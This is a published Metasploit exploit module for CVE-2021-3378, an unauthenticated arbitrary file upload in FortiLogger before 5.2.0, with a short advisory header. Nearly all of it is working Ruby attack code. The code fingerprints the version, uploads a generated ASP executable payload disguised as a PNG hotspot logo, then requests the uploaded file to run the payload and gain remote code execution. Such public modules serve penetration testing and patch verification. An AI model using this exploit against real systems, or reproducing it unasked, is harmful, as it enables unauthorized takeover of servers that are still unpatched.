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FortiLogger Arbitrary File Upload

FortiLogger Arbitrary File Upload
Posted Mar 25, 2021
Authored by Berkan Er | Site metasploit.com

This Metasploit module exploits an unauthenticated arbitrary file upload in FortiLogger via an insecure POST request. It has been tested on versions prior to 5.2.0 in Windows 10 Enterprise.

tags | exploit, arbitrary, file upload
systems | windows
advisories | CVE-2021-3378
SHA-256 | a85e9f5cba1f6749154173a1eef48254ac7c27865cfb1fbb2408dc5b6a948e6b

FortiLogger Arbitrary File Upload

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiLogger Arbitrary File Upload Exploit',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload
via insecure POST request. It has been tested on versions < 5.2.0 in
Windows 10 Enterprise.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Berkan Er <b3rsec@protonmail.com>' # Vulnerability discovery, PoC and Metasploit module
],
'References' =>
[
['CVE', '2021-3378'],
['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']
],

'Platform' => ['win'],
'Privileged' => false,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[
'FortiLogger < 5.2.0',
{
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2021-02-26',
'DefaultTarget' => 0
)
)

register_options(
[
Opt::RPORT(5000),
OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])
]
)
end

def check_product_info
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
'method' => 'POST',
'data' => '',
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest'
}
)
end

def check
begin
res = check_product_info

unless res
return CheckCode::Unknown('Target is unreachable.')
end

unless res.code == 200
return CheckCode::Unknown("Unexpected server response: #{res.code}")
end

version = Rex::Version.new(JSON.parse(res.body)['Version'])

if version <= Rex::Version.new('4.4.2.2')
CheckCode::Vulnerable("FortiLogger version #{version}")
else
CheckCode::Safe("FortiLogger version #{version}")
end
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'The target may have been updated')
end
end

def create_payload
Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end

def exploit
begin
print_good('Generate Payload')
data = create_payload

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
post_data << "Content-Type: image/png\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' => {
'Accept' => 'application/json',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With' => 'XMLHttpRequest'
}
)

unless res
fail_with(Failure::Unknown, 'No response from server')
end

unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end

json_res = begin
JSON.parse(res.body)
rescue JSON::ParserError
nil
end

if json_res.nil? || json_res['Message'] == 'Error in saving file'
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
end

print_good('Payload has been uploaded')

handler

print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
end
rescue StandardError => e
fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
end
end
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